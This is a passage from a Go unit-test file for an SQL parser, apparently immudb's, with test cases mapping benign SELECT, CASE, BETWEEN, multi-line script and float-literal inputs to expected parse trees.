&SelectStmt{\n\t\t\t\t\t\tdistinct: false,\n\t\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t\t\t{Exp: &ColSelector{col: \"title\"}},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t\t}},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t}\n\n\tfor i, tc := range testCases {\n\t\tres, err := ParseSQLString(tc.input)\n\t\trequire.Equal(t, tc.expectedError, err, fmt.Sprintf(\"failed on iteration %d\", i))\n\n\t\tif tc.expectedError == nil {\n\t\t\trequire.Equal(t, tc.expectedOutput, res, fmt.Sprintf(\"failed on iteration %d\", i))\n\t\t}\n\t}\n}\n\nfunc TestAggFnStmt(t *testing.T) {\n\ttestCases := []struct {\n\t\tinput          string\n\t\texpectedOutput []SQLStmt\n\t\texpectedError  error\n\t}{\n\t\t{\n\t\t\tinput: \"SELECT COUNT(*) FROM table1\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &AggColSelector{aggFn: COUNT, col: \"*\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT country, SUM(amount) FROM table1 GROUP BY country HAVING SUM(amount) > 0\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"country\"}},\n\t\t\t\t\t\t{Exp: &AggColSelector{aggFn: SUM, col: \"amount\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t\tgroupBy: []*ColSelector{\n\t\t\t\t\t\t{col: \"country\"},\n\t\t\t\t\t},\n\t\t\t\t\thaving: &CmpBoolExp{\n\t\t\t\t\t\top:    GT,\n\t\t\t\t\t\tleft:  &AggColSelector{aggFn: SUM, col: \"amount\"},\n\t\t\t\t\t\tright: &Integer{val: 0},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t}\n\n\tfor i, tc := range testCases {\n\t\tres, err := ParseSQLString(tc.input)\n\t\trequire.Equal(t, tc.expectedError, err, fmt.Sprintf(\"failed on iteration %d\", i))\n\n\t\tif tc.expectedError == nil {\n\t\t\trequire.Equal(t, tc.expectedOutput, res, fmt.Sprintf(\"failed on iteration %d\", i))\n\t\t}\n\t}\n}\n\nfunc TestParseExp(t *testing.T) {\n\ttestCases := []struct {\n\t\tinput          string\n\t\texpectedOutput []SQLStmt\n\t\texpectedError  error\n\t}{\n\t\t{\n\t\t\tinput: \"SELECT id FROM table1 WHERE id > 0\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t\twhere: &CmpBoolExp{\n\t\t\t\t\t\top: GT,\n\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\tcol: \"id\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\tright: &Integer{val: 0},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT id FROM table1 WHERE NOT id > 0 AND id < 10\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t\twhere: &BinBoolExp{\n\t\t\t\t\t\top: And,\n\t\t\t\t\t\tleft: &NotBoolExp{\n\t\t\t\t\t\t\texp: &CmpBoolExp{\n\t\t\t\t\t\t\t\top: GT,\n\t\t\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\t\t\tcol: \"id\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\tright: &Integer{val: 0},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tright: &CmpBoolExp{\n\t\t\t\t\t\t\top: LT,\n\t\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\t\tcol: \"id\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tright: &Integer{val: 10},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT id FROM table1 WHERE NOT (id > 0 AND id < 10)\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t\twhere: &NotBoolExp{\n\t\t\t\t\t\texp: &BinBoolExp{\n\t\t\t\t\t\t\top: And,\n\t\t\t\t\t\t\tleft: &CmpBoolExp{\n\t\t\t\t\t\t\t\top: GT,\n\t\t\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\t\t\tcol: \"id\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\tright: &Integer{val: 0},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tright: &CmpBoolExp{\n\t\t\t\t\t\t\t\top: LT,\n\t\t\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\t\t\tcol: \"id\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\tright: &Integer{val: 10},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT id FROM table1 WHERE NOT active OR active\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t\twhere: &BinBoolExp{\n\t\t\t\t\t\top: Or,\n\t\t\t\t\t\tleft: &NotBoolExp{\n\t\t\t\t\t\t\texp: &ColSelector{col: \"active\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tright: &ColSelector{col: \"active\"},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT id FROM table1 WHERE id > 0 AND NOT (table1.id >= 10)\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t\twhere: &BinBoolExp{\n\t\t\t\t\t\top: And,\n\t\t\t\t\t\tleft: &CmpBoolExp{\n\t\t\t\t\t\t\top: GT,\n\t\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\t\tcol: \"id\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tright: &Integer{val: 0},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tright: &NotBoolExp{\n\t\t\t\t\t\t\texp: &CmpBoolExp{\n\t\t\t\t\t\t\t\top: GE,\n\t\t\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\t\t\ttable: \"table1\",\n\t\t\t\t\t\t\t\t\tcol:   \"id\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\tright: &Integer{val: 10},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT id FROM table1 WHERE table1.title LIKE 'J%O'\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t\twhere: &LikeBoolExp{\n\t\t\t\t\t\tval: &ColSelector{\n\t\t\t\t\t\t\ttable: \"table1\",\n\t\t\t\t\t\t\tcol:   \"title\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\tpattern: &Varchar{val: \"J%O\"},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT id FROM table1 WHERE table1.title LIKE @param1\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t\twhere: &LikeBoolExp{\n\t\t\t\t\t\tval: &ColSelector{\n\t\t\t\t\t\t\ttable: \"table1\",\n\t\t\t\t\t\t\tcol:   \"title\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\tpattern: &Param{id: \"param1\"},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT id FROM table1 WHERE (id > 0 AND NOT table1.id >= 10) OR table1.title LIKE 'J%O'\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t\twhere: &BinBoolExp{\n\t\t\t\t\t\top: Or,\n\t\t\t\t\t\tleft: &BinBoolExp{\n\t\t\t\t\t\t\top: And,\n\t\t\t\t\t\t\tleft: &CmpBoolExp{\n\t\t\t\t\t\t\t\top: GT,\n\t\t\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\t\t\tcol: \"id\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\tright: &Integer{val: 0},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tright: &NotBoolExp{\n\t\t\t\t\t\t\t\texp: &CmpBoolExp{\n\t\t\t\t\t\t\t\t\top: GE,\n\t\t\t\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\t\t\t\ttable: \"table1\",\n\t\t\t\t\t\t\t\t\t\tcol:   \"id\",\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\tright: &Integer{val: 10},\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tright: &LikeBoolExp{\n\t\t\t\t\t\t\tval: &ColSelector{\n\t\t\t\t\t\t\t\ttable: \"table1\",\n\t\t\t\t\t\t\t\tcol:   \"title\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tpattern: &Varchar{val: \"J%O\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT id FROM clients WHERE EXISTS (SELECT id FROM orders WHERE clients.id = orders.id_client)\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"clients\"},\n\t\t\t\t\twhere: &ExistsBoolExp{\n\t\t\t\t\t\tq: &SelectStmt{\n\t\t\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tds: &tableRef{table: \"orders\"},\n\t\t\t\t\t\t\twhere: &CmpBoolExp{\n\t\t\t\t\t\t\t\top: EQ,\n\t\t\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\t\t\ttable: \"clients\",\n\t\t\t\t\t\t\t\t\tcol:   \"id\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\tright: &ColSelector{\n\t\t\t\t\t\t\t\t\ttable: \"orders\",\n\t\t\t\t\t\t\t\t\tcol:   \"id_client\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT id FROM clients WHERE deleted_at IS NULL\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"clients\"},\n\t\t\t\t\twhere: &CmpBoolExp{\n\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\tcol: \"deleted_at\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\top: EQ,\n\t\t\t\t\t\tright: &NullValue{\n\t\t\t\t\t\t\tt: AnyType,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT id FROM clients WHERE deleted_at IS NOT NULL\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"clients\"},\n\t\t\t\t\twhere: &CmpBoolExp{\n\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\tcol: \"deleted_at\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\top: NE,\n\t\t\t\t\t\tright: &NullValue{\n\t\t\t\t\t\t\tt: AnyType,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT CASE 1 + 1 WHEN 2 THEN 1 ELSE 0 END FROM my_table\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tds: &tableRef{table: \"my_table\"},\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tExp: &CaseWhenExp{\n\t\t\t\t\t\t\t\texp: &NumExp{\n\t\t\t\t\t\t\t\t\top:    ADDOP,\n\t\t\t\t\t\t\t\t\tleft:  &Integer{1},\n\t\t\t\t\t\t\t\t\tright: &Integer{1},\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\twhenThen: []whenThenClause{\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\twhen: &Integer{2},\n\t\t\t\t\t\t\t\t\t\tthen: &Integer{1},\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\telseExp: &Integer{0},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT CASE WHEN is_deleted OR is_expired THEN 1 END AS is_deleted_or_expired FROM my_table\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tds: &tableRef{table: \"my_table\"},\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tExp: &CaseWhenExp{\n\t\t\t\t\t\t\t\twhenThen: []whenThenClause{\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\twhen: &BinBoolExp{\n\t\t\t\t\t\t\t\t\t\t\top:    Or,\n\t\t\t\t\t\t\t\t\t\t\tleft:  &ColSelector{col: \"is_deleted\"},\n\t\t\t\t\t\t\t\t\t\t\tright: &ColSelector{col: \"is_expired\"},\n\t\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\t\tthen: &Integer{1},\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tAs: \"is_deleted_or_expired\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT CASE WHEN is_deleted OR is_expired THEN 1 END AS is_deleted_or_expired FROM my_table\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tds: &tableRef{table: \"my_table\"},\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tExp: &CaseWhenExp{\n\t\t\t\t\t\t\t\twhenThen: []whenThenClause{\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\twhen: &BinBoolExp{\n\t\t\t\t\t\t\t\t\t\t\top:    Or,\n\t\t\t\t\t\t\t\t\t\t\tleft:  &ColSelector{col: \"is_deleted\"},\n\t\t\t\t\t\t\t\t\t\t\tright: &ColSelector{col: \"is_expired\"},\n\t\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\t\tthen: &Integer{1},\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tAs: \"is_deleted_or_expired\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT CASE WHEN is_active THEN 1 ELSE 2 END FROM my_table\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tds: &tableRef{table: \"my_table\"},\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tExp: &CaseWhenExp{\n\t\t\t\t\t\t\t\twhenThen: []whenThenClause{\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\twhen: &ColSelector{col: \"is_active\"},\n\t\t\t\t\t\t\t\t\t\tthen: &Integer{1},\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\telseExp: &Integer{2},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tinput: `\n\t\t\t\tSELECT product_name,\n\t\t\t\t\tCASE\n\t\t\t\t\t\tWHEN stock < 10 THEN 'Low stock'\n\t\t\t\t\t\tWHEN stock >= 10 AND stock <= 50 THEN 'Medium stock'\n\t\t\t\t\t\tWHEN stock > 50 THEN 'High stock'\n\t\t\t\t\t\tELSE 'Out of stock'\n\t\t\t\t\tEND AS stock_status\n\t\t\t\tFROM products\n\t\t\t`,\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tds: &tableRef{table: \"products\"},\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tExp: &ColSelector{col: \"product_name\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tExp: &CaseWhenExp{\n\t\t\t\t\t\t\t\twhenThen: []whenThenClause{\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\twhen: &CmpBoolExp{op: LT, left: &ColSelector{col: \"stock\"}, right: &Integer{10}},\n\t\t\t\t\t\t\t\t\t\tthen: &Varchar{\"Low stock\"},\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\twhen: &BinBoolExp{\n\t\t\t\t\t\t\t\t\t\t\top:    And,\n\t\t\t\t\t\t\t\t\t\t\tleft:  &CmpBoolExp{op: GE, left: &ColSelector{col: \"stock\"}, right: &Integer{10}},\n\t\t\t\t\t\t\t\t\t\t\tright: &CmpBoolExp{op: LE, left: &ColSelector{col: \"stock\"}, right: &Integer{50}},\n\t\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\t\tthen: &Varchar{\"Medium stock\"},\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\twhen: &CmpBoolExp{op: GT, left: &ColSelector{col: \"stock\"}, right: &Integer{50}},\n\t\t\t\t\t\t\t\t\t\tthen: &Varchar{\"High stock\"},\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\telseExp: &Varchar{\"Out of stock\"},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tAs: \"stock_status\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT name !~ 'laptop.*' FROM products\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tds: &tableRef{table: \"products\"},\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tExp: NewLikeBoolExp(NewColSelector(\"\", \"name\"), true, NewVarchar(\"laptop.*\")),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tinput: \"SELECT price FROM items WHERE price BETWEEN 1.5 and 3.9\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&SelectStmt{\n\t\t\t\t\ttargets: []TargetEntry{{Exp: &ColSelector{col: \"price\"}}},\n\t\t\t\t\tds:      &tableRef{table: \"items\"},\n\t\t\t\t\twhere: &BinBoolExp{\n\t\t\t\t\t\top:    And,\n\t\t\t\t\t\tleft:  &CmpBoolExp{op: GE, left: &ColSelector{col: \"price\"}, right: &Float64{1.5}},\n\t\t\t\t\t\tright: &CmpBoolExp{op: LE, left: &ColSelector{col: \"price\"}, right: &Float64{3.9}},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tfor i, tc := range testCases {\n\t\tres, err := ParseSQLString(tc.input)\n\t\trequire.Equal(t, tc.expectedError, err, fmt.Sprintf(\"failed on iteration %d\", i))\n\n\t\tif tc.expectedError == nil {\n\t\t\trequire.Equal(t, tc.expectedOutput, res, fmt.Sprintf(\"failed on iteration %d\", i))\n\t\t}\n\t}\n}\n\nfunc TestMultiLineStmts(t *testing.T) {\n\ttestCases := []struct {\n\t\tinput          string\n\t\texpectedOutput []SQLStmt\n\t\texpectedError  error\n\t}{\n\t\t{\n\t\t\tinput: `\n\n\t\t\t/*\n\t\t\t\tSAMPLE MULTILINE COMMENT\n\t\t\t\tIMMUDB SQL SCRIPT\n\t\t\t*/\n\n\t\t\tCREATE DATABASE db1;\n\n\t\t\tCREATE TABLE table1 (id INTEGER, name VARCHAR NULL, ts TIMESTAMP NOT NULL, active BOOLEAN, content BLOB, PRIMARY KEY id);\n\n\t\t\tBEGIN TRANSACTION;\n\t\t\t\tUPSERT INTO table1 (id, label) VALUES (100, 'label1');\n\n\t\t\t\tUPSERT INTO table2 (id) VALUES (10);\n\t\t\tCOMMIT;\n\n\t\t\tSELECT id, name, time FROM table1 WHERE time >= '20210101 00:00:00.000' AND time < '20210211 00:00:00.000';\n\n\t\t\t`,\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&CreateDatabaseStmt{DB: \"db1\"},\n\t\t\t\t&CreateTableStmt{\n\t\t\t\t\ttable: \"table1\",\n\t\t\t\t\tcolsSpec: []*ColSpec{\n\t\t\t\t\t\t{colName: \"id\", colType: IntegerType},\n\t\t\t\t\t\t{colName: \"name\", colType: VarcharType},\n\t\t\t\t\t\t{colName: \"ts\", colType: TimestampType, notNull: true},\n\t\t\t\t\t\t{colName: \"active\", colType: BooleanType},\n\t\t\t\t\t\t{colName: \"content\", colType: BLOBType},\n\t\t\t\t\t},\n\t\t\t\t\tpkColNames: []string{\"id\"},\n\t\t\t\t},\n\t\t\t\t&BeginTransactionStmt{},\n\t\t\t\t&UpsertIntoStmt{\n\t\t\t\t\ttableRef: &tableRef{table: \"table1\"},\n\t\t\t\t\tcols:     []string{\"id\", \"label\"},\n\t\t\t\t\tds: &valuesDataSource{\n\t\t\t\t\t\trows: []*RowSpec{\n\t\t\t\t\t\t\t{Values: []ValueExp{&Integer{val: 100}, &Varchar{val: \"label1\"}}},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t&UpsertIntoStmt{\n\t\t\t\t\ttableRef: &tableRef{table: \"table2\"},\n\t\t\t\t\tcols:     []string{\"id\"},\n\t\t\t\t\tds: &valuesDataSource{\n\t\t\t\t\t\trows: []*RowSpec{\n\t\t\t\t\t\t\t{Values: []ValueExp{&Integer{val: 10}}},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t&CommitStmt{},\n\t\t\t\t&SelectStmt{\n\t\t\t\t\tdistinct: false,\n\t\t\t\t\ttargets: []TargetEntry{\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"id\"}},\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"name\"}},\n\t\t\t\t\t\t{Exp: &ColSelector{col: \"time\"}},\n\t\t\t\t\t},\n\t\t\t\t\tds: &tableRef{table: \"table1\"},\n\t\t\t\t\twhere: &BinBoolExp{\n\t\t\t\t\t\top: And,\n\t\t\t\t\t\tleft: &CmpBoolExp{\n\t\t\t\t\t\t\top: GE,\n\t\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\t\tcol: \"time\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tright: &Varchar{val: \"20210101 00:00:00.000\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tright: &CmpBoolExp{\n\t\t\t\t\t\t\top: LT,\n\t\t\t\t\t\t\tleft: &ColSelector{\n\t\t\t\t\t\t\t\tcol: \"time\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tright: &Varchar{val: \"20210211 00:00:00.000\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t}\n\n\tfor i, tc := range testCases {\n\t\tres, err := ParseSQLString(tc.input)\n\t\trequire.Equal(t, tc.expectedError, err, fmt.Sprintf(\"failed on iteration %d\", i))\n\n\t\tif tc.expectedError == nil {\n\t\t\trequire.Equal(t, tc.expectedOutput, res, fmt.Sprintf(\"failed on iteration %d\", i))\n\t\t}\n\t}\n}\n\nfunc TestFloatCornerCases(t *testing.T) {\n\tfor _, d := range []struct {\n\t\ts       string\n\t\tinvalid bool\n\t\tv       ValueExp\n\t}{\n\t\t{\"1\", false, &Integer{val: 1}},\n\t\t{\"1.\", false, &Float64{val: 1}},\n\t\t{\"1.1\", false, &Float64{val: 1.1}},\n\t\t{\"123.123ab1\", true, nil},\n\t\t{\"1aa23.1234\", true, nil},\n\t\t{\"123..1234\", true, nil},\n\t\t{\"123\" + strings.Repeat(\"1\", 10000) + \".123\", true, nil},\n\t} {\n\t\tt.Run(fmt.Sprintf(\"%+v\", d), func(t *testing.T) {\n\t\t\tstmt, err := ParseSQLString(\"INSERT INTO t1(v) VALUES(\" + d.s + \")\")\n\t\t\tif d.invalid {\n\t\t\t\trequire.Error(t, err)\n\t\t\t\trequire.Contains(t, err.Error(), \"syntax error\")\n\t\t\t} else {\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.Equal(t, []SQLStmt{\n\t\t\t\t\t&UpsertIntoStmt{\n\t\t\t\t\t\tisInsert: true,\n\t\t\t\t\t\ttableRef: &tableRef{\n\t\t\t\t\t\t\ttable: \"t1\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\tcols: []string{\"v\"},\n\t\t\t\t\t\tds: &valuesDataSource{\n\t\t\t\t\t\t\trows: []*RowSpec{{\n\t\t\t\t\t\t\t\tValues: []ValueExp{d.v},\n\t\t\t\t\t\t\t}},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t}, stmt)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestGrantRevokeStmt(t *testing.T) {\n\ttype test struct {\n\t\ttext         string\n\t\texpectedStmt 